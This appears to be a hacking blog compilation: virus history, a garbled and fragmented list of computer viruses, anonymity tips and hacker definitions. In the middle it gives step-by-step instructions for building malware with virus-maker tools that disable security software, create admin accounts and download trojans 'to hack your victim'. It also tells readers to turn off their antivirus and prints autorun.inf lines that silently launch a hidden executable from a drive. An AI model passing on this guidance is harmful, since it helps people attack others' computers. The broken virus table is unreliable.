Traditional computer viruses emerged in the 1980s, driven by the spread of personal computers and the resultant increase in BBS, modem use, and software sharing. Bulletin board-driven software sharing contributed directly to the spread of Trojan horse programs, and viruses were written to infect popularly traded software. Shareware and bootleg software were equally common vectors for viruses on BBSs.^{[citation needed]} Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by other computers.

Macro viruses have become common since the mid-1990s. Most of these viruses are written in the scripting languages for Microsoft programs such as Word and Excel and spread throughout Microsoft Office by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most could also spread to Macintosh computers. Although most of these viruses did not have the ability to send infected email messages, those viruses which did take advantage of the Microsoft Outlook COM interface.^{[citation needed]}

Some old versions of Microsoft Word allow macros to replicate themselves with additional blank lines. If two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a "mating" of the two and would likely be detected as a virus unique from the "parents".

A virus may also send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source) follows the link to the website, the virus hosted at the site may be able to infect this new computer and continue propagating.

Viruses that spread using cross-site scripting were first reported in 2002, and were academically demonstrated in 2005.There have been multiple instances of the cross-site scripting viruses in the wild, exploiting websites such as MySpace and Yahoo.

A Quick Reference Picture about VIRUSES:

Here is a List of COMPUTER VIRUSES:

Name

Alias(es)

Type

Subtype

Isolation Date

Isolation

Origin

Author

Notes

1260

MS-DOS

1990

Mark Washburn, Ralf Burger

First virus to use polymorphic encryption

4096

MS-DOS

January 1990

unknown

The first virus to use stealth

5lo

MS-DOS

October 1992

unknown

Infects .EXE files only

A and A

MS-DOS
Windows 95,Windows 98

unknown

A-403

MS-DOS
Windows 95,Windows 98

1998

unknown

Abraxas

MS-DOS
Windows 95,Windows 98

April 1993

unknown

Infects COM file. Disk directory listing will be set to the system date and time when infection occurred.

Acid

MS-DOS
Windows 95,Windows 98

1992

Corp-$MZU

Infects COM file. Disk directory listing will not be altered.

Acme

Upon executing infected EXE, this infects another EXE in current directory by making a hidden COM file with same base name.

Air cop-B

Jan 1990

Email
VBScript

Jan de Wit

2-1989

Does not spread under MultiFinder.

AntiCMOS

AntiHeuristica

It's payload is opposite of Cascade DOS virus, instead of the letters being pushed down, it pushes it upwards.

Blackworm

Bounce

Windows

Upon activation, it makes message boxes on screen and the mouse cursor "bounce" up and down. It does no other damage.^[1]

Windows XP

This virus will block most anti-virus programs and disable 'regedit', 'msconfig', and 'task manager'

Brotherhood

Brothers

Browser Enhancement

Claims to enhance browser experience, but when computer is re-booted, displays a fake anti-piracy warning claiming to need to pay to drop charges, but steals your credit card number.

Amiga, Bootsector virus

January 1988

Swiss Cracking Association

Byte Warrior

Amiga, Boot sector virus

(c)Brain

Pakistani flu,

January 1986

Lahore,Pakistan

Basit andAmjad Farooq Alvi

Considered to be the first computer virus for the PC

1575

8-1990

11-1993

Renames the hard drive to "Trent Saburo" on any October 31.

4-1992

most common mobile phone virus for nokia mobile phones, transmits via bluetooth wireless.

Scare Worm This virus deletes all users, all data, and s the worst virus yet.

Egg is a computer virus that affects the COM. and EXE files.

Dec 1991

Richard Skrenta

The first virus observed "in the wild"

Macintosh emulator

Targeted pirated versions of the Aladdin emulator.

Friday the 13th - Version A

w32.Assarm

Windows

6-23-2008

Created from original identity 'Gotchix'

Spread on Facebook through 'add friend' linkage

Got-you

Grapje

Graveyard

Graybird(Backdoor Graybird, Backdoor Graybird P)

MS-DOS
Windows 95,Windows 98

August 1996

Unknown

Famous for press coverage which blew its destructiveness out of proportion

4-1993

1988

13-3-1992

Malicious, triggered on Friday the 13th.

INIT 9403

SysX

3-1994

Very destructive, destroys all data. Found only on Italian systems so far.

INIT-M

4-1993

Malicious, triggered on Friday the 13th.

Jonathan (malware)

Infects .COM files. Affects the computers runtime operation and corrupts data files.

Label

h1n1

Lamer Exterminator

Amiga, Boot sector virus

October 1989

Germany

Random encryption, fills random sector with "LAMER"

Infects COM.And EXE. Files after its visual payload on DOS

Drew, Bradow, Aldus, Peace

12-1987

MAS

Trojan

worm/virus

2-2008

infects .exe files

2-1992

Garfield, Top Cat

5-1990

Meditation

MegM

Melissa

1999

part macro virus and part worm

Memory Lapse

Michelangelo

April 1991

New Zealand

Ran March 6 (Michelangelo's birthday)

Script

Atomical

Multipartite, stealth, polymorphic

1994

"Priest"

1987

Malfunctions the mouse while putting itself to the system.

1990

Boot, Bouncing Ball, Bouncing Dot, Italian, Italian-A, VeraCruz

Boot sector virus

Harmless to most computers

Infects the operational memory. It's one of the fastest copying viruses and makes the computer totally unuseful.

RJump.A, Rajump, Jisx

Worm

2006-06-20

Once distributed in Apple iPods, but a Windows-only virus

Reaper

Reader_s

A malware that infects a computer and damages system core files, sometimes making BSOD and disabling anti-viruses. This is a high-risk computer virus.

Trojan horse

vindu

Amiga, Boot sector virus

November 1987

Switzerland

Swiss Cracking Association

Puts a message on screen. Harmless except it might destroy a legitimate non-standard boot block.

Schrunch

Scores

Eric, Vult, NASA, San Jose Flu

Spring 1988

Designed to attack two specific applications which were never released.

W97M.Marker.o

Polymorphic Virus

Infects Word Documents

The Mental Driller

Soup Delete (computer virus) Simple format C drive

Something

Snow White and the Seven Dwarfs

Boot Sector Virus

Stealth_C causes the total system and available free memory, to decrease by 4,096 bytes.

Swen - "News" spelled backwards

6-1992

Included in GoMoku 2.0 and 2.1.

Piotr Bania aka Lord Yup aka dis69, 29A group member

Peter Ferrie's analysis

USSR 1049

windows extract

2008

For Windows XP Only.

Warbiest Terminator v.2.0

2009

For Windows XP and Vista.

12-1989

Affects only Macintosh System 6.

2004

Windows systems only.

Disrupts system performance by displaying pop-ups. Starts only when computer is on, and slows internet performance as well.

w32.myzor.FK@yf

ZMistfall, Zombie.Mistfall

Z0mbie

Zoda

Zohra

Get bored of reading those list of viruses? Here is a interesting stuff,were you too can make a virus

Here is the list of the softwares that allows you to make Virus:

1. In Shadow Batch Virus Generator

1. First of all download the virus maker from here

2. Run "In Shadow Batch Virus Generator.exe" application to see something like this:

3. You can use various options to make virus to suit your needs. You can:

Infect files of various extensions
Insert virus in startup menu, Kill various processes.
Disable all security services like Windows Defender, Antivirus, Firewall.
Rename file extensions, spread virus via file sharing.
Create new admin account, change user account password.
Block various websites, download trojan files to victim computer, shutdown victim computer and much more.

4. After selecting various options, move on to "Creating Options" tab and hit on "Save as Bat". Assign name to the virus and hit on Save.

5. Now, you have your virus ready to hack your victim. This virus maker is undetectable by the most antiviruses.

I am not responsible for any action performed by you. Also, do not try this virus on your own computer. This virus software is one of the most efficient virus software used today.

2. JPS Virus Maker

This is also a great virus maker with many features in it. Check all the features of JPS Virus maker

here.

3. TeraBIT Virus Maker

A powerful virus maker for you. Look for updates here

These two virus makers are detected as a viruses by the most anti-virus softwares, but they won't harm your pc in any way. Before you run these virus makers disable your anti-virus temporarily.

NOTE:

These posts are educational purpose only.I Can't take charge of any illegal activities done

using this.

IS AUTORUN.INF A VIRUS?

When i start using kaspersky it detected autorun.inf as a virus. I thought so. Because my antivirus blocks autorun.inf files . But when i search about autorun.inf file in net, i realize about the auto run file.

Today i bring some files from my college system. When i insert the pen drive in my system, there are lot of exe files.They are viruses. I delete all of them. Finally i opened the autorun.inf file in notepad and saw the instructions. Then only i remembered that i forget to post about autorun file. This article will give you complete details about the autorun.inf file.
This is the instructions that saved in the infected(call virus programs) autorun.inf file:

[Autorun]

save the file as "autorun.inf" (select all files, not text )

Complete Syntax and instructions inside the Autorun file:
Basic syntax must be inside the autorun.inf file is :

[Autorun]

This will be used to identify the the file as autorun.

OPEN=
This will specify which application should be opened when the cd or pen drive is opened

Example:

open=virus.exe

This will launch the virus.exe file when cd or pen drive is opened. The file should be in root directory.
if the file is in any other sub directories ,then we have to specify it.

Open=RECYCLER\Virus.exe

shell\Open\Command=RECYCLER\QqFvXcB.exe
shell\Open\Default=1
shell\Explore\command=RECYCLER\QqFvXcB.exe
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe

icon=breakthesecurity.ico

Label=

Specifies a text label to displayed for this CD in Explorer
Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.

Example:

Label=Ethical hacking

<<<<<<<<<<<<Soon Updating This More>>>>>>>>>>>>>

2012-05-04T08:58:00.002-07:00

2.SOME SECURITY INFORMATIONS AND TIPS FOR ANONYMOUS SURFING

1.IP ADDRESS:

what is an IP address?
IP address is an unique identification number that is assigned to your internet connection by your service provider.for example ,Each house has an unique address,right? likewise,in internet each machine has unique address.we can trace the location of user by their IP address.

IP(internet protocol) address traced
when you click or open webpage or send mail a request will be send to associate server with your IP address in header of request. This IP address can be tracked by their server using the header. So website owners can track your IP address easily. Intruders/attackers can get your IP address by website logs.

banned in forum or website
sometimes website/forums owners can ban your IP address(eg: 212.1.1.1) or your region/country IP address(eg: 212.1.0.0 to 212.255.255.255) because of your or your region illegal activity . So you may not able to access your favorite website.

Why one should hide ip address (or) anonymous?

To protect your computer from being hacked by attackers.
To stop being tracked your online surfing
To access blocked websites/forums/social network
Access websites/forums banned your IP address
Multiple registration in forum/websites

How to hide Ip address
Proxy servers are used to hide the IP.
In two ways , you can use proxy server IP address.

set it manually. (it's a tough process better prefer any tools)
use IP hiding software tools.in this method, easy to use proxy server than manual process.(platinum hide ip,quick hide ip,etc...)

1.Know Your IP address click here: my ip

2.To Trace a IP address click here: to trace IP

2012-05-04T07:54:00.000-07:00

1.ETHICAL HACKING

ALL OF THEM HAVING THE GENERAL DOUBTS ABOUT HACKING AND SOME MAY HEAR THIS WORD DIFFERENT AND NEW.THIS POST GIVES THE COMPLETE REFERENCE ABOUT HACKING AND HACKERS.

Introduction to Hacking | Different Types of Hackers

1.originally, someone who makes furniture with an axe1. A person who enjoys exploring the details of programmable systems
and how to stretch their capabilities, as opposed to most users,
who prefer to learn only the minimum necessary.

2. One whoprograms enthusiastically (even obsessively) or who enjoys programming
rather than just theorizing about programming.

3. Aperson capable of appreciating hack value.

4. A person who is good at programming quickly.

5. An expert at a particular program,
or one who frequently does work using it or on it; as in ‘a
Unix hacker.’ (Definitions 1 through 5 are correlated, and people
who fit them congregate.)

6. An expert or enthusiast of any kind.
One might be an astronomy hacker, for example.
7. One who
enjoys the intellectual challenge of creatively overcoming or circumventing
limitations.

8. [deprecated] A malicious meddler who
tries to discover sensitive information by poking around. Hence
‘password hacker,’ ‘network hacker.’ The correct term for this
sense is cracker.

Cracker

One who breaks security on a system. Coined ca. 1985 by hackers
in defense against journalistic misuse of hacker (q.v., sense 8). An
earlier attempt to establish ‘worm’ in this sense around 1981–82
on Usenet was largely a failure.

Use of both these neologisms reflects a strong revulsion against
the theft and vandalism perpetrated by cracking rings. While it is
expected that any real hacker will have done some playful cracking
and knows many of the basic techniques, anyone past larval stage
is expected to have outgrown the desire to do so except for immediate,
benign, practical reasons (for example, if it’s necessary to get
around some security in order to get some work done).
Thus, there is far less overlap between hackerdom and crackerdom
than the mundane reader misled by sensationalistic journalism
might expect. Crackers tend to gather in small, tight-knit,
very secretive groups that have little overlap with the huge, open
poly-culture this lexicon describes; though crackers often like to
describe themselves as hackers, most true hackers consider them a
separate and lower form of life.

It’s clear that the term cracker is absolutely meant to be derogatory. One
shouldn’t take the tone too seriously though, as The Jargon File is done with a
sense of humor, and the above is said with a smile. As we can see from the
above, illegal or perhaps immoral activity is viewed with disdain by the “true
hackers,” whomever they may be. It also makes reference to cracker being a
possible intermediate step to hacker, perhaps something to be overcome.

Script Kiddie

The term script kiddie has come into vogue in recent years. The term refers to
crackers who use scripts and programs written by others to perform their intrusions.
If one is labeled a “script kiddie,” then he or she is assumed to be incapable
of producing his or her own tools and exploits, and lacks proper
understanding of exactly how the tools he or she uses work. As will be apparent
by the end of this chapter, skill and knowledge (and secondarily, ethics) are the
essential ingredients to achieving status in the minds of hackers. By definition,
a script kiddie has no skills, no knowledge, and no ethics.

Phreak

A phreak is a hacker variant, or rather, a specific species of hacker. Phreak is
short for phone phreak (freak spelled with a ph, like phone is). Phreaks are
hackers with an interest in telephones and telephone systems. Naturally, there
has been at times a tremendous amount of overlap between traditional hacker
roles and phreaks.

White Hat/Black Hat/Gray Hat

White Hat Hacker:

White Hat hackers are good guys who does the hacking for defensing. They probably work an organization for providing security.

Black Hat Hacker

Black hat hackers are bad guys(the malicious hackers or crackers). They usually steal the other bank information and steal the money.
They use their skills for illegal purposes.
They are creators of viruses,malware,spyware.
They will destroy your pc.

Gray Hat Hackers

Grey hats are hackers who may work offensively or defensively, depending on the situation.
This is the dividing line between hacker and cracker. Both are powerful forces on the Internet,
and both will remain permanently. And some individuals qualify for both categories. The
existence of such individuals further clouds the division between these two groups of people.
In addition to these groups, there are self-proclaimed ethical hackers, who are interested in
hacker tools mostly from a curiosity standpoint. They may want to highlight security problems
in a system or educate victims so they secure their systems properly. These hackers are
doing their “victims” a favor. For instance, if a weakness is discovered in a service offered by
an investment bank, the hacker is doing the bank a favor by giving the bank a chance to rectify
the vulnerability.